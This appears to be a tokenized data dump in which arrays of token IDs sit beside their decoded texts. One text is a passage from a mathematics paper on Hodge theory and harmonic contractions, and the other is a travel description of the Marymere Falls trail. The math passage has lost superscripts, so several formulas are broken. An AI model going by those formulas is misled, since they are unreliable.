4153, 23628, 45, 11189, 10022, 13, 253, 6115, 5572, 669, 4820, 92, 3594, 2026, 72, 64, 85, 724, 476, 320, 11120, 4469, 407, 1764, 1968, 92, 3594, 64, 85, 14, 2574, 94, 187, 61, 4820, 92, 3594, 2026, 72, 64, 85, 4203, 393, 3442, 64, 85, 2497, 18, 94, 393, 5574, 20886, 2690, 92, 301, 27825, 393, 1588, 388, 578, 72, 64, 85, 43742, 28285, 669, 1588, 388, 578, 72, 64, 85, 724, 310, 253, 12378, 4830, 23007, 4948, 285, 3021, 2367, 2690, 92, 301, 42637, 1588, 388, 578, 72, 64, 85, 724, 310, 253, 19627, 12378, 281, 253, 24822, 370, 69, 61, 4153, 23628, 45, 1572, 11613, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 3822, 2896, 16968, 273, 3891, 38474, 443, 9, 72, 10, 9014, 3891, 3442, 2582, 72, 2582, 46429, 14, 2574, 3851, 285, 3891, 3594, 2582, 85, 14, 2574, 3851, 359, 871, 1764, 1968, 92, 40, 64, 85, 93, 3005, 4153, 14, 2574, 94, 187, 40, 64, 85, 393, 5574, 393, 3005, 578, 72, 64, 85, 4203, 17, 1890, 1764, 1968, 92, 40, 64, 85, 93, 59, 5355, 45, 4587, 2574, 94, 187, 40, 64, 85, 17180, 59, 23628, 45, 32845, 10042, 3005, 578, 72, 64, 85, 94, 393, 5574, 393, 3442, 64, 85, 2497, 18, 94, 393, 5574, 1926, 2690, 92, 1087, 6922, 69, 61, 4153, 23628, 45, 3117, 11468, 69, 64, 85, 2497, 18, 94, 393, 5574, 1926, 2690, 92, 1087, 6922, 69, 61, 4153, 23628, 45, 40227, 835, 2802, 29152, 2690, 92, 1087, 4018, 457, 9572, 323, 253, 19627, 12378, 15, 496, 2714, 13, 436, 8599, 370, 40, 64, 85, 17180, 69, 61, 4153, 23628, 45, 3117, 11468, 69, 64, 85, 2497, 18, 3363, 187, 187, 1447, 38474, 288, 2582, 85, 465, 2582, 85, 14, 5616, 696, 1707, 4961, 6032, 5870, 273, 9158, 370, 73, 64, 85, 27, 388, 23628, 45, 10, 393, 936, 393, 4153, 23628, 45, 1009, 285, 370, 76, 64, 85, 27, 393, 4153, 23628, 45, 10, 393, 936, 388, 23628, 45, 1009, 273, 4248, 9929, 18, 5, 342, 253, 1563, 3607, 27, 1764, 1968, 92, 5168, 64, 85, 19641, 426, 69, 288, 64, 85, 428, 2574, 94, 187, 61, 1124, 92, 5168, 64, 85, 1217, 7064, 4203, 277, 393, 5574, 288, 64, 85, 28, 1890, 1764, 1968, 92, 69, 2059, 64, 85, 19641, 30, 76, 64, 85, 277, 428, 2574, 94, 187, 61, 1124, 92, 69, 61, 2059, 64, 85, 1217, 7064, 4203, 465, 64, 85, 393, 5574, 277, 1890, 1764, 1968, 92, 2059, 64, 85, 288, 64, 85, 30, 17, 14, 2574, 94, 187, 61, 2059, 64, 85, 61, 5574, 288, 64, 85, 30, 17, 1890, 1764, 1968, 92, 76, 64, 85, 891, 64, 85, 30, 17, 14, 2574, 94, 187, 76, 64, 85, 61, 5574, 891, 64, 85, 426, 17, 1890, 1764, 1968, 92, 40, 64, 85, 288, 64, 85, 30, 17, 64, 2574, 94, 187, 40, 64, 85, 61, 5574, 288, 64, 85, 30, 17, 1890, 1764, 1968, 92, 76, 64, 85, 443, 64, 85, 30, 17, 64, 2574, 94, 187, 76, 64, 85, 61, 5574, 443, 64, 85, 30, 17, 1890, 187, 187, 2374, 253, 581, 1133, 13, 6983, 326, 370, 69, 61, 5574, 891, 64, 85, 30, 17, 5, 7613, 359, 778, 671, 2743, 370, 74, 64, 85, 27, 388, 23628, 45, 10, 393, 936, 1503, 23628, 45, 3822, 2896, 5426, 359, 452, 370, 82, 61, 5574, 891, 64, 85, 426, 464, 2690, 92, 301, 4018, 323, 253, 3626, 12378, 370, 82, 27, 1503, 23628, 45, 1572, 936, 388, 23628, 45, 3822, 3308, 370, 82, 61, 5574, 393, 1124, 92, 69, 891, 64, 85, 1217, 7064, 4203, 17, 5, 285, 594, 253, 2460, 273, 669, 1124, 92, 5168, 64, 85, 1217, 7064, 17168, 388, 23628, 45, 10, 393, 936, 393, 4153, 23628, 45, 1009, 310, 6221, 275, 253, 2317, 370, 69, 61, 4153, 23628, 45, 1009, 273, 370, 69, 2911, 42611, 4948, 15, 2635, 359, 778, 1691, 1764, 1968, 92, 73, 64, 85, 14, 2574, 94, 187, 73, 64, 85, 13522, 69, 64, 85, 2497, 18, 94, 393, 5574, 393, 1124, 92, 5168, 64, 85, 1217, 7064, 17168, 388, 23628, 45, 10, 393, 936, 277, 61, 4153, 23628, 45, 10, 393, 936, 393, 3005, 578, 72, 64, 85, 94, 393, 4153, 23628, 45, 1572, 6040, 50276, 61, 4153, 23628, 45, 11189, 496, 1798, 13, 669, 1124, 92, 5168, 64, 85, 1217, 7064, 4203, 69, 61, 5574, 288, 64, 85, 1352, 1623, 253, 643, 1133, 13, 6983, 326, 669, 2059, 64, 85, 61, 5574, 277, 30, 470, 5, 285, 594, 669, 2059, 64, 85, 17180, 59, 23628, 45, 32845, 82, 1352, 1707, 1615, 13, 669, 1124, 92, 69, 61, 2059, 64, 85, 1217, 7064, 8589, 578, 59, 23628, 45, 32845, 17, 5, 285, 581, 476, 1859, 669, 1124, 92, 69, 61, 2059, 64, 85, 21159, 7064, 724, 347, 271, 5572, 327, 669, 3005, 578, 72, 64, 85, 2704, 4153, 23628, 45, 28185, 2635, 359, 476, 4853, 1764, 1968, 92, 76, 64, 85, 14, 2574, 94, 187, 76, 64, 85, 13522, 187, 61, 2043, 92, 12866, 94, 187, 393, 1124, 92, 69, 61, 2059, 64, 85, 1217, 7064, 889, 5574, 277, 64, 85, 2497, 18, 94, 50275, 5977, 1156, 92, 251, 393, 748, 277, 464, 4153, 23628, 45, 7398, 61, 187, 17, 9443, 1156, 92, 251, 393, 748, 393, 1588, 388, 578, 72, 64, 85, 1603, 45, 1572, 11613, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 10, 187, 61, 423, 92, 12866, 2138, 496, 1798, 370, 76, 64, 85, 61, 5574, 393, 1588, 388, 578, 72, 64, 85, 4203, 17, 5, 285, 370, 76, 64, 85, 61, 5574, 393, 3005, 578, 72, 64, 85, 4203, 17, 1352, 2058, 806, 359, 760, 452, 669, 1124, 92, 69, 61, 2059, 64, 85, 1217, 7064, 4203, 465, 64, 85, 393, 5574, 277, 64, 85, 5, 347, 271, 5572, 432, 669, 3005, 578, 72, 64, 85, 94, 393, 4153, 23628, 45, 10, 393, 936, 388, 23628, 45, 46433, 533, 1580, 669, 1124, 92, 69, 61, 2059, 64, 85, 1217, 7064, 724, 27309, 327, 370, 59, 23628, 45, 1009, 534, 509, 9115, 253, 5028, 273, 370, 76, 64, 85, 61, 5574, 277, 64, 85, 1366, 352, 310, 4320, 281, 9017, 370, 76, 64, 85, 5, 407, 5058, 281, 271, 5572, 2931, 327, 253, 2264, 669, 4153, 23628, 45, 1009, 347, 359, 858, 1840, 15, 3954, 13, 359, 921, 253, 1390, 1740, 3607, 27, 3973, 13, 1580, 253, 2460, 273, 370, 73, 64, 85, 5, 310, 6221, 275, 669, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 4244, 359, 452, 669, 2059, 64, 85, 61, 5574, 288, 64, 85, 30, 17, 1352, 6347, 13, 1580, 253, 2460, 273, 370, 74, 64, 85, 5, 310, 275, 669, 1588, 388, 578, 72, 64, 85, 2306, 5355, 45, 4244, 359, 671, 452, 370, 76, 64, 85, 61, 5574, 891, 64, 85, 30, 17, 1352, 12245, 13, 1580, 253, 2460, 273, 370, 73, 64, 85, 5, 310, 6221, 275, 669, 3005, 578, 72, 64, 85, 2704, 4153, 23628, 45, 29119, 352, 3637, 432, 3891, 40, 2582, 85, 93, 3005, 4153, 14, 2574, 3851, 326, 370, 40, 64, 85, 61, 5574, 288, 64, 85, 30, 17, 1352, 16650, 13, 970, 3891, 38474, 443, 9, 72, 10, 3851, 253, 2460, 273, 370, 40, 64, 85, 5, 310, 6221, 275, 669, 3005, 578, 72, 64, 85, 2704, 4153, 23628, 45, 10392, 327, 534, 370, 76, 64, 85, 5, 310 ]	Due to Remark \[Gapped\_canonical\_precise-rmk\], the conditions (I-5) (II-5) in Definition \[UD\_defn\] hold. Because of $\partial\beta\cap i(g)(b)=\partial\beta\cap b$ and $i(g)\pi(g)({{\text{\usefont{U}{dsrom}{m}{n}1}}})={{\text{\usefont{U}{dsrom}{m}{n}1}}}$, the theorem then just follows from Lemma \[strong-contraction-metric g-lem\] and Proposition \[canonical-model\_preserve\_properties-prop\]. We need to further exploit the Hodge theorem. Denote by $Z^(L):= \ker d \subset \Omega^(L)$ the space of closed forms. Note that $Z^(L)=\mathcal H^_{g}(L)\oplus d\Omega^(L)$ is the complement of $\delta_g{\Omega^(L)}$, therefore, the restriction $d: \delta_{g} \Omega^(L) \to d\Omega^(L)$ is injective. It is also surjective, because by Hodge theorem again we have $d\Omega^(L)= d\delta_{g} \Omega^(L)$. So we obtain an isomorphism: $$\label{d_g-eq} d_g:=d: \delta_{g_t} \Omega^(L) \xrightarrow{\cong} d\Omega^(L)$$ We may also show $\ker \delta_{g}=\mathcal H^_{g}(L)\oplus \delta_{g}\Omega^(L)$[^13] and by restricting $\delta_g$ we similarly get $$\label{delta_g-eq} \delta_{g}':=\delta_{g}: d\Omega^(L)\xrightarrow{\cong} \delta_{g_t}\Omega^(L)$$ Families of harmonic contractions {#section_families of harmonic} --------------------------------- Next we want to generalize Theorem \[UD-canonical-model-thm\] to pseudo-isotopies. Take a smooth family of metrics $\mathbf g:=(g_t)_{t\in{{[0,1]}}}$ on $L$. The above-mentioned operators are abbreviated as follows: $(i_t, \pi_t, G_t):=(i(g_t), \pi(g_t), G(g_t))$ and $d_t:=d_{g_t}$ and $\delta_t:=\delta'_{g_t}$ in (\[delta\_g-eq\]). We first have two isomorphisms: $$d_t\circ \delta_t: d\Omega^(L) \to \delta_{g_t}\Omega^(L) \to d\Omega^(L); \ \ \ \ \ \delta_t\circ d_t: \delta_{g_t} \Omega^(L) \to d\Omega^(L) \to \delta_{g_t}\Omega^(L)$$ Denote by $\Delta_t$ the restriction of the Laplacian $\Delta_{g_t}=d\delta_{g_t}+\delta_{g_t}d$ on the space $\mathcal H_{g_t}^(L)^\perp \equiv d\Omega^(L)\oplus \delta_{g_t}\Omega^(L)$. Then, $\Delta_t=d_t\delta_t\oplus \delta_t d_t$ and in particular $$\label{Delta_g_inverse-eq} \Delta_t^{-1} =\delta_t^{-1}d_t^{-1}\oplus d_t^{-1}\delta_t^{-1} : d\Omega^(L) \oplus \delta_{g_t}\Omega^(L) \to d\Omega^(L)\oplus \delta_{g_t}\Omega^(L)$$ Accordingly, the Green operator $\operatorname{Gr}_{g_t}$ can be explicitly expressed by $$\label{Gr_t-eq} \operatorname{Gr}_{g_t}= \Delta_t^{-1} \circ ({\mathrm{id}}- \mathcal H_{g_t})$$ Recall $\mathcal H_{g_t}$ is the projection onto harmonic forms and thus ${\mathrm{id}}-\mathcal H_{g_t}$ is the orthogonal projection to the subspace $d\Omega^(L)\oplus \delta_{g_t}\Omega^(L)$. By virtue of (\[harmonic G(g)\]), (\[Delta\_g\_inverse-eq\]) and (\[Gr\_t-eq\]) we know $$\label{G_t\|deltaOmega-eq} G_t \circ \delta_{g_t}=0$$ $$\label{G_t\|Z(L)-eq} G_t\|_{Z^(L)}= -\delta_{g_t} \circ \Delta_t^{-1} \circ {\mathrm{pr}}_{d\Omega^(L)}=-d_t^{-1} \circ {\mathrm{pr}}_{d\Omega^(L)}$$ where ‘${\mathrm{pr}}$’ stands for the orthogonal projection. In special, this tells $G_t\|_{d\Omega^(L)}=-d_t^{-1}$. \[harmonic h\_t k\_t-lem\] There exists smooth families of operators $h_t: H^(L) \to \Omega^(L)$ and $k_t: \Omega^(L) \to H^(L)$ of degree $-1$ with the following properties: $$\label{di_t dt =d h_t -eq} \frac{di_t}{dt}= d \circ h_t;$$ $$\label{dpi_t dt=k_t d -eq} \frac{d\pi_t}{dt}= k_t \circ d$$ $$\label{pi_t h_t=0-eq} \pi_t\circ h_t=0$$ $$\label{k_t i_t=0-eq} k_t\circ i_t =0$$ $$\label{G_t h_t=0_eq} G_t\circ h_t=0$$ $$\label{k_t G_t=0_eq} k_t\circ G_t=0$$ On the one hand, recall that $d\circ i_t=0$ hence we may also regard $i_t: H^(L) \to Z^(L)$. By definition we have $q\circ i_t ={\mathrm{id}}$ for the natural projection $q: Z^(L)\to H^(L)$. Thus $q\circ \frac{d i_t}{dt}=0$ and so the image of $\frac{di_t}{dt}: H^(L) \to \Omega^(L)$ is contained in the space $d\Omega^(L)$ of $d$-exact forms. Then we may put $$\label{h_t-eq} h_t:=d_t^{-1} \circ \frac{di_t}{dt}: H^(L) \to d\Omega^(L) \to \delta_{g_t} \Omega^(L)\subset \Omega^(L)$$ In particular, $\frac{di_t}{dt}=d\circ h_t$. On the other hand, recall that $\pi_t\circ d= 0$ and so $\pi_t\|_{Z^(L)}=q$. Thereby, $\frac{d\pi_t}{dt}\|_{Z^(L)}=0$ and one can view $\frac{d\pi_t }{dt}$ as an operator on $\delta_{g_t}{\Omega^(L)}$. Then we can define $$\label{k_t-eq} k_t:= \begin{cases} \frac{d\pi_t}{dt}\circ d_t^{-1} &\text{on \ } d{\Omega^(L)}\\ 0 &\text{on \ } \mathcal H_{g_t}(L)\oplus \delta_{g_t}\Omega^(L) \end{cases}$$ In particular $k_t\circ \mathcal H_{g_t}=0$ and $k_t\circ \delta_{g_t}=0$. At first we only have $\frac{d\pi_t}{dt}= k_t \circ d_t$ as an operator from $\delta_{g_t} \Omega^(L) \to H^(L)$; but since $\frac{d\pi_t}{dt}$ vanishes on $Z^(L)$ which complements the domain of $k_t\circ d_t$, it is legal to extend $k_t$ by zero to an operator defined on the total $\Omega^(L)$ as we did above. Now, we show the last four properties: First, since the image of $h_t$ is contained in $\delta_{g_t}\Omega^(L)$, we have $\pi_t\circ h_t=0$. Second, since the image of $i_t$ is in $\mathcal H_{g_t}^(L)$, we also have $k_t\circ i_t=0$. Third, since the image of $h_t$ is contained in $\delta_{g_t}{\Omega^(L)}$, it follows from (\[G\_t\|deltaOmega-eq\]) that $G_t\circ h_t=0$. Fourth, using (\[harmonic G(g)\]) the image of $G_t$ is contained in $\delta_{g_t}{\Omega^(L)}$ on which $k_t$ is
[ 368, 6849, 273, 32915, 25005, 4377, 285, 8462, 3358, 301, 24515, 13, 534, 908, 281, 320, 247, 3645, 3660, 3719, 6308, 350, 17216, 281, 3698, 323, 6692, 9954, 326, 778, 2983, 14902, 788, 18874, 15, 23359, 751, 253, 269, 75, 6565, 273, 20341, 13, 9396, 48493, 1154, 17954, 387, 253, 5004, 273, 841, 1355, 13, 41261, 13596, 15, 380, 2412, 17216, 3740, 25005, 4377, 46444, 4660, 13, 672, 1527, 13, 588, 1918, 368, 253, 2892, 273, 253, 2170, 13, 347, 973, 347, 2085, 690, 3965, 15143, 7968, 273, 253, 2919, 15, 733, 310, 407, 436, 391, 3751, 4660, 326, 253, 6393, 37166, 24618, 11693, 310, 4441, 15, 187, 187, 510, 21832, 281, 6393, 37166, 24618, 187, 187, 510, 21832, 281, 6393, 37166, 24618, 187, 187, 510, 21832, 281, 6393, 37166, 24618, 187, 187, 4497, 14, 30644, 13, 4354, 3560, 285, 10323, 247, 6507, 2940, 949, 253, 14086, 21327, 273, 253, 11442, 19898, 33489, 21398, 16015, 13, 6393, 37166, 24618, 310, 13103, 15, 2058, 337, 15, 22, 6574, 3790, 7408, 13, 436, 11693, 310, 1679, 273, 247, 27966, 285, 625, 273, 247, 2940, 15, 23177, 247, 13915, 1066, 253, 11693, 13, 247, 21195, 4620, 13, 285, 604, 5471, 9957, 42934, 13, 368, 476, 564, 12394, 30480, 15, 25005, 4377, 13, 534, 310, 247, 495, 15, 25, 13915, 3790, 7408, 27966, 275, 534, 368, 6351, 1722, 361, 4669, 15, 2058, 2164, 361, 649, 13, 30480, 25005, 4377, 6131, 15143, 6849, 273, 9396, 48493, 1154, 13, 347, 973, 347, 247, 1270, 38769, 6308, 1977, 432, 253, 7635, 23750, 273, 288, 43960, 327, 253, 6393, 37166, 24618, 11693, 15, 1723, 13, 604, 368, 7617, 281, 564, 281, 253, 11521, 285, 6680, 253, 24597, 13, 368, 588, 320, 10260, 33302, 15, 2732, 368, 2831, 253, 747, 5148, 9729, 689, 253, 8281, 13, 253, 1390, 9166, 649, 273, 253, 11693, 12015, 1768, 3965, 25060, 2112, 247, 27563, 13, 4283, 368, 281, 247, 1270, 1859, 273, 6393, 37166, 24618, 15, 11668, 634, 673, 7824, 598, 436, 1218, 4206, 1854, 13, 4264, 253, 35599, 273, 253, 9313, 21327, 285, 3517, 368, 588, 320, 1677, 247, 14911, 48150, 1859, 273, 247, 1355, 13, 2568, 23535, 1824, 12615, 15, 2058, 247, 4898, 273, 5091, 649, 13, 436, 1824, 12615, 310, 13943, 275, 697, 17647, 15, 187, 187, 510, 21832, 281, 6393, 37166, 24618, 187, 187, 25000, 37166, 24618, 187, 187, 4553, 247, 2159, 27966, 896, 281, 253, 46444, 14628, 13, 368, 1335, 452, 673, 281, 5184, 275, 634, 1113, 285, 4446, 670, 577, 6574, 8935, 1919, 368, 755, 281, 8647, 5119, 10512, 15, 8669, 13, 534, 310, 1728, 281, 253, 2101, 33483, 31606, 21832, 15, 380, 2101, 33483, 31606, 21832, 13, 534, 369, 4270, 347, 247, 2444, 18217, 1309, 3645, 3660, 309, 13, 369, 1469, 281, 320, 908, 281, 4616, 2101, 33483, 7139, 281, 6162, 9757, 281, 1973, 2329, 32763, 1309, 253, 2137, 13, 2299, 13, 1078, 253, 18217, 369, 6312, 13, 253, 2137, 7402, 285, 253, 21327, 369, 417, 21792, 15, 380, 11693, 310, 1048, 13, 533, 6507, 13, 2403, 352, 3962, 323, 253, 2021, 275, 4829, 667, 8588, 15, 2058, 1475, 854, 6574, 3790, 7408, 13, 352, 310, 1048, 13, 533, 253, 5043, 1930, 310, 326, 352, 310, 581, 273, 253, 1643, 27192, 275, 667, 3313, 4913, 326, 4483, 9097, 285, 31739, 15, 3900, 627, 403, 247, 1643, 5053, 835, 253, 13599, 2189, 556, 1705, 689, 253, 11693, 13, 352, 310, 4336, 4999, 285, 973, 14, 30644, 15, 187, 187, 11148, 300, 457, 84, 367, 3204, 11939, 77, 2112, 9396, 48493, 1154, 187, 187, 2374, 253, 2101, 33483, 31606, 21832, 13, 581, 476, 923, 1142, 1841, 13, 12319, 432, 49647, 6849, 285, 23859, 37285, 281, 3676, 17120, 11385, 285, 13966, 716, 27414, 25284, 15, 2596, 273, 253, 16681, 273, 253, 11693, 13, 9255, 432, 253, 41644, 326, 908, 281, 320, 23859, 37285, 310, 253, 32974, 457, 84, 367, 3204, 11939, 77, 15, 329, 4633, 17120, 7793, 275, 5890, 8588, 13, 253, 32974, 457, 84, 367, 3204, 11939, 77, 310, 253, 7445, 17120, 7793, 15, 2058, 4829, 2233, 649, 3676, 987, 1735, 281, 253, 28900, 13, 352, 310, 247, 4999, 1659, 323, 10831, 16451, 285, 7940, 281, 6923, 323, 11010, 715, 271, 355, 23344, 14593, 15, 380, 5460, 5926, 745, 387, 32974, 457, 84, 367, 3204, 11939, 77, 3548, 457, 85, 3710, 281, 326, 2170, 13, 347, 9396, 48493, 1154, 3139, 310, 15335, 12891, 649, 3676, 13, 533, 690, 3332, 2175, 452, 4845, 352, 689, 9098, 649, 3676, 13, 2403, 436, 8763, 16915, 1014, 625, 19796, 15, 187, 187, 45, 640, 48493, 1154, 187, 187, 22641, 13, 253, 9396, 48493, 1154, 2170, 310, 594, 11117, 352, 310, 1682, 323, 247, 1264, 1388, 8849, 13, 533, 368, 476, 513, 352, 689, 247, 1388, 13, 23447, 247, 1048, 1388, 15, 399, 19674, 598, 432, 10406, 571, 13, 368, 476, 27966, 1097, 27192, 13, 2670, 923, 285, 452, 247, 1643, 1175, 16961, 285, 755, 896, 1728, 275, 1679, 685, 1249, 3038, 15, 3900, 436, 778, 1646, 247, 2372, 1199, 13, 253, 6849, 13, 253, 4446, 285, 253, 2793, 281, 4264, 581, 273, 5041, 457, 84, 954, 762, 14092, 3672, 310, 973, 4409, 253, 7408, 15, 3166, 352, 436, 8849, 13, 513, 352, 327, 634, 1388, 745, 2866, 3088, 352, 1024, 285, 4264, 9396, 48493, 1154, 1078, 253, 24597, 12666, 436, 5768, 2, 187, 187, 16760, 4913, 16398, 15592, 187, 187, 35638, 281, 776, 20299, 187, 187, 51, 3528, 3997, 323, 776, 7774, 15, 187, 1394, 943, 956, 380, 6282, 11806, 8273, 327, 7879, 15, 187, 187, 2925, 7310, 22031, 42113, 187, 187, 43217, 1514, 31198, 380, 6952, 342, 19757, 15682, 28771, 318, 13, 3771, 247, 15682, 285, 634, 4422, 310, 4704, 323, 897, 15, 5402, 17855, 310, 7938, 281, 4270, 13, 3477, 281, 897, 708, 14736, 10797, 49874, 1025, 15, 187, 187, 2042, 634, 2819, 323, 1361, 342, 776, 16876, 436, 310, 253, 1659, 281, 320, 15, 844, 452, 247, 7020, 273, 1270, 10556, 326, 921, 368, 849, 281, 9978, 776, 16876, 15, 1244, 1046, 10014, 3249, 342, 19415, 708, 16428, 15027, 318, 281, 1361, 342, 2761, 667, 2523, 15, 510, 1268, 273, 3731, 18480, 670, 5795, 9921, 556, 4925, 253, 1127, 835, 352, 310, 990, 606, 2158, 1363, 187, 187, 10195, 952, 1158, 3739, 18035, 310, 247, 6079, 285, 22258, 2256, 7194, 323, 253, 21983, 590, 27731, 273, 8371, 571, 15, 13529, 812, 320, 2007, 432, 253, 5083, 15, 2596, 273, 253, 31971, 13698, 273, 3739, 18035, 310, 281, 1056, 2119, 326, 952, 4763, 9694, 326, 2837, 1598, 513, 625, 1175, 685, 5237, 13, 594, 352, 3587, 7033, 281, 253, 1786, 285, 46128, 273, 512, 273, 441, 15, 187, 187, 688, 6041, 9921, 13, 7418, 4999, 36259, 403, 275, 1659, 281, 1056, 2119, 11576, 29534, 281, 3839, 7607, 16289, 7465, 15, 496, 5795, 9921, 13, 2299, 13, 3739, 18035, 556, 8127, 6376, 247, 9645, 6308, 15, 187, 187, 510, 8233, 7089, 273, 667, 2238, 943, 9403, 320, 2668, 846, 247, 11723, 5702, 556, 2530, 1941, 14, 3169, 7535, 281, 247, 3110, 15, 496, 5795, 9921, 13, 407, 4499, 13, 11349, 2223, 1056, 598, 616, 1211, 13846, 1880, 281, 1611, 436, 390, 326, 1971, 28, 7535, 310, 417, 17396, 533, 1491, 310, 7735, 5954, 2130, 15, 187, 187, 688, 1340, 281, 5416, 253, 11349, 8, 4327, 15693, 625, 1175, 685, 5237, 13, 253, 13644, 2130, 1491, 327, 5795, 9921, 651, 878, 281, 320, 9630, 15, 844, 512, 871, 326, 436, 310, 417, 253, 1083, 285, 326, 40694, 327, 2233, 6, 13367, 275, 247, 1959, 2791, 651, 320, 530, 3956, 757, 15, 8452, 13, 323, 4227, 13, 812, 1014, 3135, 281, 26925, 253, 2456, 78, 390, 594, 14248, 326, 6186, 11349, 342, 1491, 327, 5795, 9694, 32, 1292, 387, 253, 1077, 1878, 13, 1491, 2530, 407, 11723, 12440, 943, 417, 990, 3751, 253, 10630, 15, 187, 187, 510, 43296, 6051, 958, 13, 2299, 13, 310, 326, 253, 1491, 12164, 407, 24432, 273, 5795, 9921, 310, 2223, 18464, 13, 3430, 390, 5434, 4087, 24363, 281, 253, 1127, 273, 10369, 990, 606, 2158, 1345, 1786, 285, 3021, 26554, 3739, 18035, 15, 187, 187, 4943, 403, 767, 6667, 281, 896, 598, 436, 13433, 3908, 15, 380, 806, 7033, 281, 5591, 21477, 1658, 974, 641, 665, 7208, 1891, 281, 4044, 8191, 7578, 1078, 12767, 616, 1363, 15, 9110, 13, 1293, 352, 13, 8191, 7089, 403, 7479, 15, 12053, 68, 1365, 13, 253, 3480, 273, 8191, 7578, 310, 247, 2590, 8411, 273, 1046, 16289, 2127, 2455, 3542, 15, 187, 187, 3220, 1273, 1650, 7033, 281, 1110, 5591, 1728, 11036, 84, 313, 395, 21477, 1658, 974, 641, 10, 665, 22276, 247, 3101, 417, 281, 7062, 4024, 617, 1429, 15, 831, 417, 760, 990, 11207, 253, 1786, 273, 326, 1798, 1429, 13, 533, 812, 3324, 896, 18023, 6578, 327, 247, 1781, 4311, 15, 187, 187, 26149, 800, 26690, 403, 417, 253, 760, 4394, 665, 21319, 440, 678, 1037, 15, 37120, 1346, 665, 5580, 1728, 27406, 24371, 390, 31540, 401, 12973, 6235, 264, 447, 1293, 2403, 352, 2590, 326, 597, 3831, 417, 247, 2014, 12570, 273, 3939, 24405, 671, 20835, 616, 1211, 16289, 2127, 15, 496, 958, 13, 512, 11723, 12440, 665, 25596, 13, 44482, 390, 8591, 557, 856, 1261, 9694, 2740, 7936, 4803, 273, 3739, 18035, 15, 187, 187, 1276, 812, 320, 7197, 685, 2060, 11723, 12440, 50090, 440, 678, 1037, 32, 7160, 5702, 23617, 2509, 253, 1072, 15, 5595, 21477, 1658, 974, 280, 23617, 11762, 1056, 9282, 3916, 326, 403, 417, 4516, 407, 1941, 15, 187, 187, 29129, 13, 253, 8273, 273, 9067, 11036, 84, 3916, 327, 697, 4422, 326, 13, 323, 247, 4618, 2491, 273, 4092, 2515, 13, 253, 1941, 323, 1728, 15819, 310, 21414, 15, 2596, 273, 731, 310, 247, 7826, 4092, 1617, 326, 476, 2826, 846, 5869, 13, 1925, 1501, 14, 7105, 30042, 316, 15, 17826, 1037, 13, 597, 2613, 436, 1798, 1750, 327, 271, 3929, 3863, 407, 619, 2285, 15, 1737, 597, 1891, 281, 3748, 310, 326, 776, 3929, 7945, 326, 346, 43249, 15985, 1832, 31423, 247, 25038, 31536, 3446, 187, 187, 1898, 752, 812, 320, 7197, 685, 3872, 23617, 26554, 3739, 18035, 32, 5625, 23617, 2509, 253, 1072, 15, 3808, 1107, 3622, 13, 247, 1304, 432, 253, 3645, 4775, 44115, 7558, 326, 42543, 310, 247, 346, 856, 1261, 4918, 3, 323, 247, 2491, 273, 4092, 285, 1555, 494, 2515, 1690, 13, 323, 4227, 13, 9980, 15, 9110, 253, 1941, 2722, 253, 7285, 27, 247, 40607, 2278, 7945, 346, 26747, 627, 310, 642, 2590, 1941, 327, 253, 2538, 273, 42543, 327, 749, 31738, 390, 6722, 9980, 15, 187, 187, 34, 1304, 432, 247, 973, 14, 373, 5344, 19156, 824, 347, 253, 18896, 310, 1239, 1475, 253, 1533, 15, 496, 619, 1859, 13, 436, 310, 3103, 440, 49628, 327, 247, 4156, 4311, 15, 187, 187, 2598, 3739, 18035, 310, 2712, 533, 22258, 15, 380, 1268, 273, 3731, 18480, 670, 5795, 9921, 556, 1024, 4925, 253, 1127, 835, 352, 556, 2489, 8312, 285, 440, 49628, 15, 1893, 2080, 13, 5795, 9921, 556, 6376, 271, 18035, 14, 4924, 8232, 15, 733, 310, 673, 281, 1818, 436, 15, 50, 27, 187, 187, 10795, 247, 8468, 1385, 253, 1180, 273, 20370, 326, 12830, 352, 32, 187, 187, 42, 1353, 6110, 275, 253, 650, 698, 25912, 2460, 1083, 15, 35990, 688, 247, 8468, 627, 310, 271, 3781, 273, 38674, 534, 4822, 20370, 15, 35990, 9, 7781, 27, 11988, 275, 2065, 454, 16132, 31475, 322, 32541, 10, 187, 10795, 1016, 13369, 1385, 253, 1180, 273, 6298, 313, 263, 13596, 10, 4561, 407, 1016, 15523, 32, 35990, 3980, 310, 627, 581, 2625, 534, 310, 253, 2020, 273, 512, 20370, 313, 249, 534, 1083, 253, 1979, 273, 253, 2625, 943, 3469, 327, 15523, 2341, 18289, 6177, 187, 1898, 671, 309, 1353, 29985, 1016, 13369, 2723, 281, 247, 12275, 32, 187, 14087, 10414, 651, 320, 14109, 15, 187, 187, 34, 27, 187, 187, 7093, 3048, 25339, 849, 247, 33169, 313, 7778, 9904, 2813, 10, 2460, 8468, 2987, 15, 5838, 13, 33169, 84, 452, 4893, 16280, 3888, 13479, 13, 533, 253, 8485, 5020, 273, 33169, 84, 403, 908, 347, 2460, 13479, 13, 285, 326, 310, 253, 760, 3625, 2898, 309, 588, 320, 16585, 15, 187, 2648, 19277, 187, 688, 6867, 33169, 84, 908, 323, 3295, 2460, 17950, 1016, 33169, 894, 556, 247, 3295, 5806, 689, 352, 15, 380, 954, 7744, 908, 3102, 2390, 577, 1341, 2366, 342, 581, 2502, 5806, 13, 581, 4797, 5806, 13 ]	you views ofMount Storm King and Pyramid Peak, which used to be a World War II spotter cabin to watch for Japanese aircraft that may attack Puget Sound. Looking like the fjords of Norway, Lake Crescent sits at the bottom of these small, rugged peaks. The log cabin style Storm King Ranger station, when open, will give you the history of the area, as well as provide some pretty fantastic pictures of the region. It is by this ranger station that the Marymere Falls trail is located. The Trail to Marymere Falls The Trail to Marymere Falls The Trail to Marymere Falls Well-marked, easily followed and basically a flat walk through the dense forests of the Northern Olympic Peninsula Rain Forest, Marymere Falls is awesome. At 1.5 miles round trip, this trail is less of a hike and more of a walk. Half a mile down the trail, a fork appears, and if feeling adventurous, you can go climb Mt. Storm King, which is a 3.8 mile round trip hike in which you gain 1700 feet. At 2400ft, Mt Storm King offers fantastic views of Lake Crescent, as well as a great picnic spot away from the throngs of hikers on the Marymere Falls trail. However, if you decide to go to the falls and battle the crowds, you will be greatly rewarded. After you cross the new metal bridge over the river, the last 400ft of the trail climbs pretty steadily along a ridge, leading you to a great view of Marymere Falls. Take your time walking up this railed path, enjoy the greens of the rain forests and soon you will be given a breathtaking view of a small, yet gorgeous waterfall. At a height of 90ft, this waterfall is impressive in its simplicity. The Trail to Marymere Falls 